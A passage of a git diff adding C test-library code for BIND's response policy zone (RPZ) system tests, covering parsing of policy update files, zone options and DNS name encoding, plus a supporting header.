+		int ret;
+
+		nrec.type = ns_t_cname;
+		ret = wdns_str_to_name(val, &(nrec.rdata), 1);
+
+		if (ret <= 0) {
+			fprintf(stderr,
+				"Error processing CNAME policy record data "
+				"(%d)!\n",
+				ret);
+			return (-1);
+		}
+
+		nrec.rdlength = ret;
+	} else if (!strcasecmp(rrtype, "DNAME")) {
+		int ret;
+
+		nrec.type = ns_t_dname;
+		ret = wdns_str_to_name(val, &(nrec.rdata), 1);
+
+		if (ret <= 0) {
+			fprintf(stderr,
+				"Error processing DNAME policy record data "
+				"(%d)!\n",
+				ret);
+			return (-1);
+		}
+
+		nrec.rdlength = ret;
+	} else {
+		fprintf(stderr,
+			"Error: unsupported policy record type: \"%s\"\n",
+			rrtype);
+		return (-1);
+	}
+
+	for (n = 0; n < node->nrrs; n++) {
+		trpz_rr_t *rptr = &(node->rrs[n]);
+
+		/* Same thing. Don't replace. */
+		if (rptr->type == nrec.type && rptr->class == nrec.class &&
+		    rptr->ttl == nrec.ttl && rptr->rdlength == nrec.rdlength &&
+		    !memcmp(rptr->rdata, nrec.rdata, nrec.rdlength))
+		{
+			free(nrec.rdata);
+			return (n + 1);
+		}
+	}
+
+	node->nrrs++;
+
+	node->rrs = realloc(node->rrs, (node->nrrs * sizeof(*(node->rrs))));
+	if (node->rrs == NULL) {
+		perror("realloc");
+		exit(EXIT_FAILURE);
+	}
+
+	memset(&(node->rrs[node->nrrs - 1]), 0, sizeof(node->rrs[0]));
+	node->rrs[node->nrrs - 1] = nrec;
+	*modified = 1;
+
+	return (node->nrrs);
+}
+
+void
+reverse_labels(const char *str, char *pbuf) {
+	const char *sptr = str, *end = NULL;
+
+	if (sptr == NULL || *sptr == 0) {
+		return;
+	}
+
+	sptr += (strlen(sptr) - 1);
+	end = sptr + 1;
+	*pbuf = 0;
+
+	if (*sptr == '.') {
+		sptr--;
+		end--;
+	}
+
+	while (sptr >= str) {
+		if ((*sptr != '.') && (sptr != str)) {
+			sptr--;
+			continue;
+		}
+
+		if (sptr == str) {
+			strncat(pbuf, sptr, (end - sptr));
+			break;
+		}
+
+		strncat(pbuf, sptr + 1, (end - (sptr + 1)));
+		strcat(pbuf, ".");
+		end = sptr--;
+	}
+
+	if (pbuf[strlen(pbuf) - 1] == '.') {
+		pbuf[strlen(pbuf) - 1] = 0;
+	}
+
+	return;
+}
+
+/* Parse trailing zone options as specified in a cstr line */
+unsigned long
+parse_zone_options(const char *str) {
+	char tmpstr[8192] = { 0 };
+	char *tok = NULL, *sptr = NULL;
+	unsigned long result = 0;
+
+	if (str == NULL || *str == 0) {
+		return (0);
+	}
+
+	strncpy(tmpstr, str, sizeof(tmpstr) - 1);
+
+	tok = strtok_r(tmpstr, " ", &sptr);
+
+	while (tok) {
+		if (!strcasecmp(tok, "policy")) {
+			tok = strtok_r(NULL, " ", &sptr);
+			if (tok == NULL) {
+				break;
+			}
+
+			if (!strcasecmp(tok, "passthru")) {
+				result |= ZOPT_POLICY_PASSTHRU;
+			} else if (!strcasecmp(tok, "drop")) {
+				result |= ZOPT_POLICY_DROP;
+			} else if (!strcasecmp(tok, "tcp-only")) {
+				result |= ZOPT_POLICY_TCP_ONLY;
+			} else if (!strcasecmp(tok, "nxdomain")) {
+				result |= ZOPT_POLICY_NXDOMAIN;
+			} else if (!strcasecmp(tok, "nodata")) {
+				result |= ZOPT_POLICY_NODATA;
+			} else if (!strcasecmp(tok, "given")) {
+				result |= ZOPT_POLICY_GIVEN;
+			} else if (!strcasecmp(tok, "disabled")) {
+				result |= ZOPT_POLICY_DISABLED;
+			} else if (!strcasecmp(tok, "no-op")) {
+				;
+			}
+		} else {
+			if (!strcasecmp(tok, "max-policy-ttl")) {
+				tok = strtok_r(NULL, " ", &sptr);
+				if (tok == NULL) {
+					break;
+				}
+			} else if (!strcasecmp(tok, "recursive-only")) {
+				tok = strtok_r(NULL, " ", &sptr);
+				if (tok == NULL) {
+					break;
+				}
+
+				if (!strcasecmp(tok, "yes")) {
+					result |= ZOPT_RECURSIVE_ONLY;
+				} else if (!strcasecmp(tok, "no")) {
+					result |= ZOPT_NOT_RECURSIVE_ONLY;
+				}
+
+			} else {
+				if (!strcasecmp(tok, "qname-as-ns")) {
+					tok = strtok_r(NULL, " ", &sptr);
+					if (tok == NULL) {
+						break;
+					}
+
+					if (!strcasecmp(tok, "yes")) {
+						result |= ZOPT_QNAME_AS_NS;
+					}
+
+				} else if (!strcasecmp(tok, "ip-as-ns")) {
+					tok = strtok_r(NULL, " ", &sptr);
+					if (tok == NULL) {
+						break;
+					}
+
+					if (!strcasecmp(tok, "yes")) {
+						result |= ZOPT_IP_AS_NS;
+					}
+
+				} else if (!strcasecmp(tok,
+						       "qname-wait-recurse"))
+				{
+					tok = strtok_r(NULL, " ", &sptr);
+					if (tok == NULL) {
+						break;
+					}
+
+					if (!strcasecmp(tok, "no")) {
+						result |=
+							ZOPT_NO_QNAME_WAIT_RECURSE;
+					}
+
+				} else if (!strcasecmp(tok,
+						       "nsip-wait-recurse"))
+				{
+					tok = strtok_r(NULL, " ", &sptr);
+					if (tok == NULL) {
+						break;
+					}
+
+					if (!strcasecmp(tok, "no")) {
+						result |=
+							ZOPT_NO_NSIP_WAIT_RECURSE;
+					}
+				}
+			}
+		}
+
+		tok = strtok_r(NULL, " ", &sptr);
+	}
+
+	/*        LIBRPZ_POLICY_CNAME,      */
+	return (result);
+}
+
+/*
+ * Parse an update string and attempt to add any relevant data to the node
+ * and policy RR tables.
+ */
+int
+apply_update(const char *updstr, trpz_result_t **presults, size_t *pnresults,
+	     trpz_zone_t **pzones, size_t *pnzones, int is_static,
+	     unsigned long flags, char **errp) {
+	trpz_result_t *res = NULL;
+	char cmdbuf[64] = { 0 }, nodebuf[256] = { 0 }, rrbuf[32] = { 0 },
+	     databuf[256] = { 0 };
+	char *nend = NULL;
+	librpz_policy_t policy = LIBRPZ_POLICY_UNDEFINED;
+	librpz_trig_t trig = LIBRPZ_TRIG_QNAME;
+	unsigned int ttl;
+	ssize_t n, zidx = -1;
+	size_t ndlen = 0, last_matchlen = 0;
+	int nfield, zupd = 0;
+
+	nfield = sscanf(updstr, "%63s %255s %u %31s %255s", cmdbuf, nodebuf,
+			&ttl, rrbuf, databuf);
+	if (nfield < 1) {
+		return (-1);
+	}
+
+	/*
+	 * Special case for handling zone additions; here the 'ttl' field
+	 * becomes a serial.
+	 */
+	if (!strcasecmp(cmdbuf, "zone")) {
+		trpz_zone_t *zptr = NULL;
+		bool qname_as_ns = false, ip_as_ns = false,
+		     not_recursive_only = false, do_inc = false;
+		bool no_qname_as_ns = false, no_ip_as_ns = false,
+		     recursive_only = false, no_nsip_wait_recurse = false;
+
+		if (nfield < 3) {
+			return (-1);
+		}
+
+		if (!strcasecmp(rrbuf, "qname_as_ns")) {
+			qname_as_ns = true;
+		} else if (!strcasecmp(rrbuf, "ip_as_ns")) {
+			ip_as_ns = true;
+		} else if (!strcasecmp(rrbuf, "not_recursive_only")) {
+			not_recursive_only = true;
+		} else if (!strcasecmp(rrbuf, "inc")) {
+			do_inc = true;
+		} else if (!strcasecmp(rrbuf, "no_qname_as_ns")) {
+			no_qname_as_ns = true;
+		} else if (!strcasecmp(rrbuf, "no_ip_as_ns")) {
+			no_ip_as_ns = true;
+		} else if (!strcasecmp(rrbuf, "recursive_only")) {
+			recursive_only = true;
+		} else if (!strcasecmp(rrbuf, "no_nsip_wait_recurse")) {
+			no_nsip_wait_recurse = true;
+		}
+
+		if (flags & ZOPT_RECURSIVE_ONLY) {
+			recursive_only = true;
+			not_recursive_only = false;
+		} else if (flags & ZOPT_NOT_RECURSIVE_ONLY) {
+			recursive_only = false;
+			not_recursive_only = true;
+		}
+
+		if (flags & ZOPT_NO_NSIP_WAIT_RECURSE) {
+			no_nsip_wait_recurse = true;
+		}
+
+		for (n = 0; (size_t)n < *pnzones; n++) {
+			if (!strcmp((*pzones)[n].name, nodebuf)) {
+				/*
+				 * Force override of serial. But only if
+				 * serial is non-zero.
+				 */
+				if (ttl) {
+					if (do_inc) {
+						(*pzones)[n].serial += ttl;
+					} else {
+						(*pzones)[n].serial = ttl;
+					}
+				}
+
+				(*pzones)[n].has_update = 0;
+
+				if (qname_as_ns) {
+					(*pzones)[n].qname_as_ns = true;
+				}
+
+				if (ip_as_ns) {
+					(*pzones)[n].ip_as_ns = true;
+				}
+
+				if (no_qname_as_ns) {
+					(*pzones)[n].qname_as_ns = false;
+				}
+
+				if (no_ip_as_ns) {
+					(*pzones)[n].ip_as_ns = false;
+				}
+
+				if (not_recursive_only) {
+					(*pzones)[n].not_recursive_only = true;
+				}
+
+				if (recursive_only) {
+					(*pzones)[n].not_recursive_only = false;
+				}
+
+				if (flags & ZOPT_NO_QNAME_WAIT_RECURSE) {
+					(*pzones)[n].no_qname_wait_recurse =
+						true;
+				}
+
+				if (no_nsip_wait_recurse) {
+					(*pzones)[n].no_nsip_wait_recurse =
+						true;
+				}
+
+				return (0);
+			}
+		}
+
+		(*pnzones)++;
+
+		*pzones = realloc(*pzones, (*pnzones * sizeof(**pzones)));
+		if (*pzones == NULL) {
+			perror("realloc");
+			exit(EXIT_FAILURE);
+		}
+
+		zptr = &(*pzones)[*pnzones - 1];
+		*zptr = (trpz_zone_t){
+			.serial = ttl,
+			.qname_as_ns = qname_as_ns,
+			.ip_as_ns = ip_as_ns,
+			.flags = flags,
+			.not_recursive_only = not_recursive_only,
+		};
+
+		if (qname_as_ns) {
+			(*pzones)[n].qname_as_ns = true;
+		}
+
+		if (ip_as_ns) {
+			(*pzones)[n].ip_as_ns = true;
+		}
+
+		if (flags & ZOPT_NO_QNAME_WAIT_RECURSE) {
+			(*pzones)[n].no_qname_wait_recurse = true;
+		}
+
+		if (no_nsip_wait_recurse) {
+			(*pzones)[n].no_nsip_wait_recurse = true;
+		}
+
+		strncpy(zptr->name, nodebuf, LIBRPZ_MAXDOMAIN + 1);
+		if (zptr->name[strlen(zptr->name) - 1] == '.') {
+			zptr->name[strlen(zptr->name) - 1] = 0;
+		}
+
+		return (0);
+	} else if (nfield != 5) {
+		return (-1);
+	}
+
+	if (strcasecmp(cmdbuf, "add")) {
+		fprintf(stderr, "Warning: only update add action is currently "
+				"supported!\n");
+		return (-1);
+	}
+
+	if (!strcasecmp(rrbuf, "A")) {
+		policy = LIBRPZ_POLICY_RECORD;
+	} else if (!strcasecmp(rrbuf, "CNAME")) {
+		if (!strcmp(databuf, ".")) {
+			policy = LIBRPZ_POLICY_NXDOMAIN;
+		} else if (!strcmp(databuf, "*.")) {
+			policy = LIBRPZ_POLICY_NODATA;
+		} else if (!strcasecmp(databuf, "rpz-passthru.")) {
+			policy = LIBRPZ_POLICY_PASSTHRU;
+		} else if (!strcasecmp(databuf, "rpz-drop.")) {
+			policy = LIBRPZ_POLICY_DROP;
+		} else if (!strcasecmp(databuf, "rpz-tcp-only.")) {
+			policy = LIBRPZ_POLICY_TCP_ONLY;
+		} else {
+			policy = LIBRPZ_POLICY_RECORD;
+		}
+
+	} else if (!strcasecmp(rrbuf, "TXT")) {
+		char *ftext = NULL;
+
+		ftext = strstr(updstr, databuf);
+		if (ftext == NULL) {
+			fprintf(stderr, "Error parsing TXT record: \"%s\"\n",
+				updstr);
+			return (-1);
+		}
+
+		if (*ftext == '"') {
+			*ftext++ = 0;
+
+			if (ftext[strlen(ftext) - 1] == '"') {
+				ftext[strlen(ftext) - 1] = 0;
+			}
+		}
+
+		strncpy(databuf, ftext, sizeof(databuf));
+		databuf[sizeof(databuf) - 1] = 0;
+		policy = LIBRPZ_POLICY_RECORD;
+	} else if (!strcasecmp(rrbuf, "DNAME")) {
+		policy = LIBRPZ_POLICY_RECORD;
+	} else if (!strcasecmp(rrbuf, "AAAA")) {
+		policy = LIBRPZ_POLICY_RECORD;
+	} else {
+		fprintf(stderr,
+			"Warning: target \"%s\" is not currently supported!\n",
+			rrbuf);
+		return (-1);
+	}
+
+	if (policy == LIBRPZ_POLICY_UNDEFINED) {
+		fprintf(stderr, "Error: could not determine appropriate policy "
+				"for update!\n");
+		return (-1);
+	}
+
+	for (n = 0; (size_t)n < *pnzones; n++) {
+		const char *zptr = nodebuf;
+		size_t cmplen;
+
+		zptr += strlen(zptr) - 1;
+
+		if (*zptr == '.') {
+			zptr--;
+		}
+
+		cmplen = strlen((*pzones)[n].name);
+
+		if ((*pzones)[n].name[cmplen - 1] == '.') {
+			cmplen--;
+		}
+
+		zptr -= (cmplen - 1);
+
+		if ((zptr <= nodebuf) || (*(zptr - 1) != '.')) {
+			continue;
+		}
+
+		if (!strncmp((*pzones)[n].name, zptr, cmplen)) {
+			/*
+			 * We don't break immediately after a match because
+			 * there might be a better one yet.
+			 */
+			if (cmplen > last_matchlen) {
+				ndlen = strlen(nodebuf) - cmplen;
+
+				if (nodebuf[strlen(nodebuf) - 1] == '.') {
+					ndlen--;
+				}
+
+				/*
+				 * Account for the period between the node name
+				 * and zone name.
+				 */
+				ndlen--;
+				zidx = n;
+				last_matchlen = cmplen;
+			}
+		}
+	}
+
+	if (memmem(nodebuf, ndlen, ".rpz-", 5)) {
+		char *tptr = nodebuf + ndlen - 1;
+		size_t slen;
+
+		while (strncmp(tptr, ".rpz-", 5)) {
+			tptr--;
+		}
+
+		slen = nodebuf + ndlen - tptr;
+		nend = tptr;
+
+		if (slen == 7 && !memcmp(tptr, ".rpz-ip", 7)) {
+			trig = LIBRPZ_TRIG_IP;
+		} else if (slen == 9 && !memcmp(tptr, ".rpz-nsip", 9)) {
+			trig = LIBRPZ_TRIG_NSIP;
+		} else if (slen == 14 && !memcmp(tptr, ".rpz-client-ip", 14)) {
+			trig = LIBRPZ_TRIG_CLIENT_IP;
+		} else if (slen == 12 && !memcmp(tptr, ".rpz-nsdname", 12)) {
+			trig = LIBRPZ_TRIG_NSDNAME;
+		} else {
+			fprintf(stderr, "Warning: unknown suffix \"%s\"\n",
+				tptr);
+			nend = NULL;
+		}
+
+		/* We saved the trigger value, so shave that part off. */
+		*tptr = 0;
+	}
+
+	if (zidx == -1) {
+		return (0);
+	}
+
+	nodebuf[ndlen] = 0;
+
+	/*
+	 * The original, deprecated PASSTHRU encoding of a CNAME pointing
+	 * to the trigger QNAME might still be in use in local, private
+	 * policy zones, and  so it is still recognized by RPZ subscriber
+	 * implementations as of 2016.
+	 */
+	if ((policy == LIBRPZ_POLICY_RECORD) && !strcasecmp(rrbuf, "cname")) {
+		char tmpname[512] = { 0 };
+
+		strncpy(tmpname, databuf, sizeof(tmpname) - 1);
+
+		if ((nodebuf[strlen(nodebuf) - 1] == '.') &&
+		    (tmpname[strlen(tmpname) - 1] != '.'))
+		{
+			size_t tlen = strlen(tmpname);
+
+			tmpname[tlen] = '.';
+			tmpname[tlen + 1] = 0;
+		} else if ((nodebuf[strlen(nodebuf) - 1] != '.') &&
+			   (tmpname[strlen(tmpname) - 1] == '.'))
+		{
+			tmpname[strlen(tmpname) - 1] = 0;
+		}
+
+		/* A special case of PASSTHRU (with trailing characters) */
+		if (nend != NULL &&
+		    (strlen(databuf) == (size_t)(nend - nodebuf)) &&
+		    !strncmp(databuf, nodebuf, (nend - nodebuf)))
+		{
+			policy = LIBRPZ_POLICY_PASSTHRU;
+		}
+
+		if (!strcmp(nodebuf, tmpname)) {
+			policy = LIBRPZ_POLICY_PASSTHRU;
+		}
+	}
+
+	res = apply_update_to_set(presults, pnresults, pzones, nodebuf, zidx,
+				  ttl, trig, policy, &zupd, flags, errp);
+
+	if (res) {
+		if (zupd && !is_static) {
+			(*pzones)[zidx].has_update = 1;
+		} else if (is_static) {
+			res->flags |= NODE_FLAG_STATIC_DATA;
+		}
+
+		if (policy == LIBRPZ_POLICY_RECORD) {
+			/*
+			 * Policy/RR change does not seem to prompt zone
+			 * serial increment. (has_update)
+			 */
+			if (add_other_rr(res, rrbuf, databuf, ttl, &zupd) < 0) {
+				fprintf(stderr,
+					"Error: could not add policy record %s "
+					"/ %s\n",
+					rrbuf, databuf);
+				return (-1);
+			}
+		}
+	}
+
+	return (0);
+}
+
+/*
+ * XXX: memory leak. Also, does not properly preserve "static" node entries,
+ * as envisioned.
+ */
+static void
+free_nodes(trpz_result_t **presults, size_t *pnresults) {
+	size_t n, tot;
+
+	if (presults == NULL || *presults == NULL) {
+		if (pnresults != NULL) {
+			*pnresults = 0;
+		}
+		return;
+	}
+
+	tot = *pnresults;
+
+	for (n = tot; n > 0; n--) {
+		trpz_result_t *res = &((*presults)[n - 1]);
+		size_t m;
+
+		if (res->canonical != NULL) {
+			free(res->canonical);
+		}
+
+		if (res->dname != NULL) {
+			free(res->dname);
+		}
+
+		for (m = 0; m < res->nrrs; m++) {
+			if (res->rrs[m].rdata != NULL) {
+				free(res->rrs[m].rdata);
+			}
+		}
+
+		if (res->rrs != NULL) {
+			free(res->rrs);
+		}
+	}
+
+	free(*presults);
+	*presults = NULL;
+	*pnresults = 0;
+
+	return;
+}
+
+/*
+ * Perform only sanity checking on a data file's contents.
+ *
+ * Note that this function only really exists to facilitate the logging of error
+ * messages that may be expected to occur upon encounter with certain invalid
+ * node data in unit tests.
+ *
+ * fname is the pathname of the data file to be checked.
+ * errp is a pointer to an error string that may be set if this function fails.
+ * It is the responsibility of the caller to free this pointer if it is returned
+ * non-NULL.
+ *
+ * This function returns 0 on success, or -1 on failure, possibly setting *errp
+ * on failure.
+ */
+int
+sanity_check_data_file(const char *fname, char **errp) {
+	FILE *f = NULL;
+	int result = -1;
+
+	SET_IF_NOT_NULL(errp, NULL);
+
+	f = fopen(fname, "r");
+	if (f == NULL) {
+		fprintf(stderr, "couldn't sanity check %s\n", fname);
+		perror("fopen");
+		return (-1);
+	}
+
+	while (!feof(f)) {
+		char line[1024] = { 0 }, cmdbuf[64] = { 0 },
+		     nodebuf[256] = { 0 }, rrbuf[32] = { 0 },
+		     databuf[256] = { 0 };
+		char *lptr = line;
+		int nfield;
+		unsigned int ttl;
+
+		if (!fgets(line, sizeof(line) - 1, f)) {
+			break;
+		}
+
+		if (!line[0]) {
+			continue;
+		}
+
+		if (line[strlen(line) - 1] == '\n') {
+			line[strlen(line) - 1] = 0;
+		}
+
+		if (!line[0] || line[0] == ';') {
+			continue;
+		}
+
+		while (*lptr && !isspace(*lptr)) {
+			lptr++;
+		}
+
+		*lptr++ = 0;
+
+		if (!strcasecmp(line, "server") || !strcasecmp(line, "send") ||
+		    !strcasecmp(line, "wipe") ||
+		    !strcasecmp(line, "rollback") ||
+		    !strcasecmp(line, "restart"))
+		{
+			continue;
+		} else if (strcasecmp(line, "static") &&
+			   strcasecmp(line, "update"))
+		{
+			if (errp != NULL) {
+				*errp = str_printf("Found unknown instruction "
+						   "directive: \"%s\"\n",
+						   line);
+			}
+
+			goto out;
+		}
+
+		while (isspace(*lptr)) {
+			lptr++;
+		}
+
+		nfield = sscanf(lptr, "%63s %255s %u %31s %255s", cmdbuf,
+				nodebuf, &ttl, rrbuf, databuf);
+
+		/* We don't care about checking zones - only node entries. */
+		if (nfield != 5) {
+			continue;
+		}
+
+		if (strcasecmp(cmdbuf, "add")) {
+			continue;
+		}
+
+		if (strcasecmp(rrbuf, "A") && strcasecmp(rrbuf, "CNAME") &&
+		    strcasecmp(rrbuf, "TXT") && strcasecmp(rrbuf, "DNAME") &&
+		    strcasecmp(rrbuf, "AAAA"))
+		{
+			if (errp != NULL) {
+				*errp = str_printf("Target \"%s\" is not "
+						   "currently supported!\n",
+						   rrbuf);
+			}
+
+			goto out;
+		}
+
+		if (strstr(nodebuf, ".rpz-")) {
+			char abuf[64], tmpname[512];
+			char *tptr = nodebuf;
+			size_t slen;
+			int family;
+
+			while (strncmp(tptr, ".rpz-", 5)) {
+				tptr++;
+			}
+
+			slen = nodebuf + strlen(nodebuf) - tptr;
+
+			if (!(slen >= 8 && !memcmp(tptr, ".rpz-ip.", 8)) &&
+			    !(slen >= 10 && !memcmp(tptr, ".rpz-nsip.", 10)) &&
+			    !(slen >= 15 &&
+			      !memcmp(tptr, ".rpz-client-ip.", 15)) &&
+			    !(slen >= 13 && !memcmp(tptr, ".rpz-nsdname.", 13)))
+			{
+				continue;
+			}
+
+			strncpy(tmpname, nodebuf, sizeof(tmpname) - 1);
+			tmpname[sizeof(tmpname) - 1] = 0;
+
+			*tptr = 0;
+
+			if (get_address_info(nodebuf, &family, abuf, tmpname,
+					     errp) < 0)
+			{
+				goto out;
+			}
+		}
+	}
+
+	result = 0;
+
+out:
+	fclose(f);
+
+	return (result);
+}
+
+/* Load a database of nodes from a given filename. */
+int
+load_all_updates(const char *fname, trpz_result_t **presults, size_t *pnresults,
+		 trpz_zone_t **pzones, size_t *pnzones, char **errp) {
+	FILE *f = NULL;
+
+	f = fopen(fname, "r");
+	if (f == NULL) {
+		fprintf(stderr, "couldn't load updates from %s\n", fname);
+		perror("fopen");
+		return (-1);
+	}
+
+	while (!feof(f)) {
+		char line[1024] = { 0 };
+		char *lptr = line;
+		int is_static = 0;
+
+		if (!fgets(line, sizeof(line) - 1, f)) {
+			break;
+		}
+
+		if (!line[0]) {
+			continue;
+		}
+
+		if (line[strlen(line) - 1] == '\n') {
+			line[strlen(line) - 1] = 0;
+		}
+
+		if (!line[0]) {
+			strcpy(line, "send");
+		}
+
+		if (!line[0] || line[0] == ';') {
+			continue;
+		}
+
+		while (*lptr && !isspace(*lptr)) {
+			lptr++;
+		}
+
+		*lptr++ = 0;
+
+		if (!strcasecmp(line, "server")) {
+			continue;
+		} else if (!strcasecmp(line, "send")) {
+			size_t n;
+
+			for (n = 0; n < *pnzones; n++) {
+				if ((*pzones)[n].has_update) {
+					(*pzones)[n].serial += 1;
+					(*pzones)[n].rollback += 1;
+					(*pzones)[n].has_update = 0;
+				}
+			}
+
+			continue;
+		} else if (!strcasecmp(line, "wipe") ||
+			   !strcasecmp(line, "rollback"))
+		{
+			size_t n;
+			int rollback;
+
+			rollback = strcasecmp(line, "rollback") == 0;
+
+			free_nodes(presults, pnresults);
+
+			/* Now push forward the serial by # rollback */
+			for (n = 0; n < *pnzones; n++) {
+				if (rollback) {
+					(*pzones)[n].serial +=
+						(*pzones)[n].rollback;
+					(*pzones)[n].rollback = 0;
+				}
+
+				memset((*pzones)[n].has_triggers, 0,
+				       sizeof((*pzones)[n].has_triggers));
+			}
+
+			continue;
+		} else if (!strcasecmp(line, "static")) {
+			is_static = 1;
+		} else if (!strcasecmp(line, "restart")) {
+			size_t n;
+
+			for (n = 0; n < *pnzones; n++) {
+				(*pzones)[n].serial = 1;
+				(*pzones)[n].rollback = 0;
+			}
+
+			continue;
+		} else if (strcasecmp(line, "update")) {
+			fprintf(stderr,
+				"Warning: skipping unknown instruction "
+				"directive: \"%s\"\n",
+				line);
+			continue;
+		}
+
+		/* Everything here is an update */
+		while (isspace(*lptr)) {
+			lptr++;
+		}
+
+		if (apply_update(lptr, presults, pnresults, pzones, pnzones,
+				 is_static, 0, errp) == -1)
+		{
+			fprintf(stderr,
+				"Error: could not apply update \"%s\"\n", lptr);
+			return (-1);
+		}
+	}
+
+	fclose(f);
+
+	return (0);
+}
+
+#define WDNS_MAXLEN_NAME 255
+int
+wdns_str_to_name(const char *str, uint8_t **pbuf, bool downcase) {
+	const char *p = NULL;
+	size_t label_len;
+	ssize_t slen;
+	uint8_t c, *oclen = NULL, *data = NULL;
+	int res = -1;
+
+	assert(pbuf != NULL);
+
+	p = str;
+	slen = strlen(str);
+
+	if (slen == 1 && *p == '.') {
+		*pbuf = malloc(1);
+		if (*pbuf == NULL) {
+			perror("malloc");
+			exit(EXIT_FAILURE);
+		}
+		*pbuf[0] = 0;
+		return (1);
+	}
+
+	res = 0;
+	*pbuf = malloc(WDNS_MAXLEN_NAME);
+	if (*pbuf == NULL) {
+		perror("malloc");
+		exit(EXIT_FAILURE);
+	}
+
+	data = *pbuf;
+	label_len = 0;
+	oclen = data++;
+	res++;
+
+	for (;;) {
+		c = *p++;
+		label_len++;
+
+		/* Will the wire name become too long? */
+		if (res >= WDNS_MAXLEN_NAME) {
+			goto out;
+		}
+
+		if (slen == 0) {
+			/* end of input */
+			*oclen = --label_len;
+			*data++ = '\0';
+			res++;
+			break;
+		}
+
+		if (c >= 'A' && c <= 'Z') {
+			/* an upper case letter; downcase it */
+			if (downcase) {
+				c |= 0x20;
+			}
+			*data++ = c;
+			res++;
+		} else if (c == '\\' && !isdigit(*p)) {
+			/* an escaped character */
+			if (slen <= 0) {
+				goto out;
+			}
+			*data++ = *p;
+			res++;
+			p++;
+			slen--;
+		} else if (c == '\\' && slen >= 3) {
+			/* an escaped octet */
+			char d[4];
+			char *endptr = NULL;
+			long int val;
+
+			d[0] = *p++;
+			d[1] = *p++;
+			d[2] = *p++;
+			d[3] = '\0';
+			slen -= 3;
+			if (!isdigit(d[0]) || !isdigit(d[1]) || !isdigit(d[2]))
+			{
+				goto out;
+			}
+			val = strtol(d, &endptr, 10);
+			if (endptr != NULL && *endptr == '\0' && val >= 0 &&
+			    val <= 255)
+			{
+				uint8_t uval;
+
+				uval = (uint8_t)val;
+				*data++ = uval;
+				res++;
+			} else {
+				goto out;
+			}
+		} else if (c == '\\') {
+			/* should not occur */
+			goto out;
+		} else if (c == '.') {
+			/* end of label */
+			*oclen = --label_len;
+			if (label_len == 0) {
+				goto out;
+			}
+			oclen = data++;
+			if (slen > 1) {
+				res++;
+			}
+			label_len = 0;
+		} else if (c != '\0') {
+			*data++ = c;
+			res++;
+		}
+
+		slen--;
+	}
+
+	return (res);
+
+out:
+	free(*pbuf);
+	*pbuf = NULL;
+	return (-1);
+}
diff --git a/bin/tests/system/rpz/testlib/test-data.h b/bin/tests/system/rpz/testlib/test-data.h
new file mode 100644
index 0000000000..63ae0f6cca
--- /dev/null
+++ b/bin/tests/system/rpz/testlib/test-data.h
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+/*
+ * Limited implementation of the DNSRPS API for testing purposes.
+ *
+ * Copyright (c) 2016-2017 Farsight Security, Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *	http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LIBRPZ_LIB_OPEN 2
+#include <dns/librpz.h>
+
+#if __NAMESER < 19991006
+/*
+ * If the new API is not available define the values we use.
+ */
+
+#define ns_c_in 1
+
+#define ns_t_invalid 0
+#define ns_t_a	     1
+#define ns_t_cname   5
+#define ns_t_txt     16
+#define ns_t_aaaa    28
+#define ns_t_dname   39
+
+#endif
+
+#include "trpz.h"
+
+#define NODE_FLAG_IPV6_ADDRESS 0x1
+#define NODE_FLAG_STATIC_DATA  0x2
+
+#define ZOPT_POLICY_PASSTHRU 0x0001
+#define ZOPT_POLICY_DROP     0x0002
+#define ZOPT_POLICY_TCP_ONLY 0x0004
+#define ZOPT_POLICY_NXDOMAIN 0x0008
+#define ZOPT_POLICY_NODATA   0x0010
+#define ZOPT_POLICY_GIVEN    0x0020
+#define ZOPT_POLICY_DISABLED 0x0040
+
+#define ZOPT_RECURSIVE_ONLY	0x0100
+#define ZOPT_NOT_RECURSIVE_ONLY 0x0200
+#define ZOPT_QNAME_AS_NS	0x0400
+#define ZOPT_IP_AS_NS		0x0800
+
+#define ZOPT_QNAME_WAIT_RECURSE	   0x1000
+#define ZOPT_NO_QNAME_WAIT_RECURSE 0x2000
+#define ZOPT_NO_NSIP_WAIT_RECURSE  0x4000
+
+typedef struct {
+	char name[256];
+	uint32_t serial;
+	int has_update;
+	size_t rollback;
+	int has_triggers[2][LIBRPZ_TRIG_NSIP + 1];
+	bool forgotten;
+	bool qname_as_ns, ip_as_ns;
+	bool not_recursive_only;
+	bool no_qname_wait_recurse, no_nsip_wait_recurse;
+	unsigned long flags;
+} trpz_zone_t;
+
+typedef struct {
+	uint16_t type;
+	uint16_t class;
+	uint32_t ttl;
+	uint16_t rdlength;
+	uint8_t *rdata;
+	unsigned int rrn;
+} trpz_rr_t;
+
+typedef struct {
+	char *canonical;
+	char *dname;
+	librpz_result_t result;
+	uint32_t ttl;
+	trpz_rr_t *rrs;
+	size_t nrrs, rridx;
+	librpz_policy_t poverride, hidden_policy;
+	unsigned long flags;
+	librpz_trig_t match_trig;
+} trpz_result_t;
+
+#define DECL_NODE(canon, name, policy, znum, trig) \
+	{ canon, name, { 0, 0, policy, policy, znum, znum, trig, true } },
+
+#define NUM_ZONES_SNAPSHOT1 20
+
+extern const rpz_soa_t g_soa_record;
+
+#define WDNS_PRESLEN_NAME 1025
+extern size_t
+wdns_domain_to_str(const uint8_t *src, size_t src_len, char *dst);
+extern int
+wdns_str_to_name(const char *str, uint8_t **pbuf, bool downcase);
+
+extern void
+reverse_labels(const char *str, char *pbuf);
+
+extern rpz_soa_t *
+parse_serial(unsigned char *rdata, size_t rdlen);
+
+extern int
+load_all_updates(const char *fname, trpz_result_t **presults, size_t *pnresults,
+		 trpz_zone_t **pzones, size_t *pnzones, char **errp);
+extern int
+apply_update(const char *updstr, trpz_result_t **presults, size_t *pnresults,
+	     trpz_zone_t **pzones, size_t *pnzones, int is_static,
+	     unsigned long flags, char **errp);
+extern int
